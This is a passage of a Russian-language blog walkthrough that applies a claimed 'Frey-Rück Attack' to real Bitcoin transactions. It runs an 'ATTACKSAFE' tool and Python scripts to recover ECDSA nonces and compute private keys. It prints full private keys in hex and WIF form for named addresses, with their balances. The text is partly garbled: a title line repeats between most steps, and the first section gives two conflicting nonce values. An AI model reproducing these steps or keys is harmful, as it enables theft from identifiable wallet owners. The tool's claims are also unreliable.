./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Deployments ECDSA:

SecretKey = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd

RawTX = 010000000171f0257c63793fe24cf20cecb7e77926e950287c535cd0f99a57d001630bee53160000006b4830450220481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996022100abd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02585800000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f


Сделаем проверку с помощью Python-скрипта point2gen.py


Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

(0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 , 0xbd48d7b4dc1d36c3e4e18ea398ce153f3ebf6ddf7824d0d0132e5dad85c3c69d)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe

R          =    0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
point2gen  =   (0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996 , 0xbd48d7b4dc1d36c3e4e18ea398ce153f3ebf6ddf7824d0d0132e5dad85c3c69d)

ВСЕ ВЕРНО!

K = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q


Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ


Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xad004724cdf368d6ffcc49791827c9157f533a53e687d7eae1547c848d49e1cd
R = 0x481b75700708a950ce88c97a84d7eef9844642ae0406db86c6384da093b22996
S = 0xabd9db597dbaaf4866e8379fd1127c017fa904756e7aa8559831c75bd925037a
Z = 0x6bd83b8efbba3aaeea89f4763a13f837181c42c82dfb223d8354f109b5ec65fe


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

PrivKey = 4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06

Откроем bitaddress и проверим:

ADDR: 12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q
WIF:  KyoSFYtgbsWxtfFZmMfbkwFTXhqfGgxztVgmuN1dFrPqs3nFCqcr
HEX:  4d063c9a389df945ede5fa1a5d19408944d74d449d722548b3d8c80606e05b06
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

https://www.blockchain.com/btc/address/12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q


Приватный ключ найден!

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

BALANCE: $ 706.27


№5

При детальном криптоанализе мы также нашли критическую уязвимость и в Биткоин Адресе:

19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

https://btc1.trezor.io/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db

https://btc1.trezor.io/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)


Подготовим RawTX для атаки


19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

https://btc1.trezor.io/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
RawTX = 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Deployments ECDSA:

SecretKey = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55

RawTX = 0100000001b5bdf3eeeb068c2ca42bd8f65fc617875ab556afcff4a3de307674be180a7ab3070000006a47304402202bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e022054cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb690580121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000046a02445300000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55


Сделаем проверку с помощью Python-скрипта point2gen.py


Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

(0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e , 0x8df094a6760490d279c350cf34f5ae35fd6cfea9dafd63d02d500e01ca67bcb3)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e

R          =    0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
point2gen  =   (0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e , 0x8df094a6760490d279c350cf34f5ae35fd6cfea9dafd63d02d500e01ca67bcb3)

ВСЕ ВЕРНО!

K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac


Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ


Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xb1f4054cff1df58822bb4085f7fb23c95c37bdd037dc1df01be68a8ca85f6d55
R = 0x2bf4a846fe0d4c967c15a90eb56365576e42563b7257cbc280def5936817ec4e
S = 0x54cb84ac0ce9a6e2e4cbc22f814f1d83c4ef04d55da730761d202158bdb69058
Z = 0x4af38c561f0c46e2b0e78d5ab4aae0c82dc3f0affb15717064d8c63ee0c9330e


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

PrivKey = 4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b

Откроем bitaddress и проверим:

ADDR: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
WIF:  KynJKoLwF9vk8yV5HaEybRcmjQhV938rjKt5kV6A7omrVipvk9ve
HEX:  4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

https://www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac


Приватный ключ найден!

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

BALANCE: $ 702.32


Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.


При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea для этого же Биткоин Адреса


Подготовим RawTX для атаки


19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

https://btc1.trezor.io/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
RawTX = 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000

Запустим -tool frey_ruck_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Мы запустили данную атаку из -tool frey_ruck_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
Deployments ECDSA:

SecretKey = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99

RawTX = 010000000133bfe125d6fc3f79b0dbd7f331b74bc48c622a40041cf1c5d12659d8cbac77b21f0000006b483045022100902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e022001bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc0121023a936a1116ee1d51eceef530daf519824a89a3985c9eaa1c58cfcd2c78830903ffffffff010000000000000000016a00000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99


Сделаем проверку с помощью Python-скрипта point2gen.py


Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

(0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e , 0x41034db92068cdccccf81bf9d103a8abe6f64f4df764b3fb2962fdf7ff86fa0d)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288

R          =    0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
point2gen  =   (0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e , 0x41034db92068cdccccf81bf9d103a8abe6f64f4df764b3fb2962fdf7ff86fa0d)

ВСЕ ВЕРНО!

K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac


Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ


Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x0a27007da4d867c8ec6847cab32e8b8c38f5df48ec73847d355b4c7479970b99
R = 0x902909cb474b429661adaa481a872638e24c93d8bd61394f30d709c44d529c1e
S = 0x01bf247ad7e81871e9ee2acfc445c7716393e900ff7018727415fe3f553d6edc
Z = 0x74bd6032e6bfd019a0760d799efc145c34b9a5d58e9f974f9a60756890dc6288


print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

PrivKey = 4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b

Откроем bitaddress и проверим:

ADDR: 19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac
WIF:  KynJKoLwF9vk8yV5HaEybRcmjQhV938rjKt5kV6A7omrVipvk9ve
HEX:  4c708ac0c78e07552f14544758031d2ad9d0baee702b5b163b97f1e7200c007b
Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

https://www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac


Приватный ключ найден!

Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)
www.blockchain.com/btc/address/19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

BALANCE: $ 702.32


Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/wqHES7r1qyc

Источник: https://cryptodeep.ru/frey-ruck-attack


Реализуем Frey-Rück Attack чтобы получить секретный ключ "K" (NONCE)

Crypto Deep Tech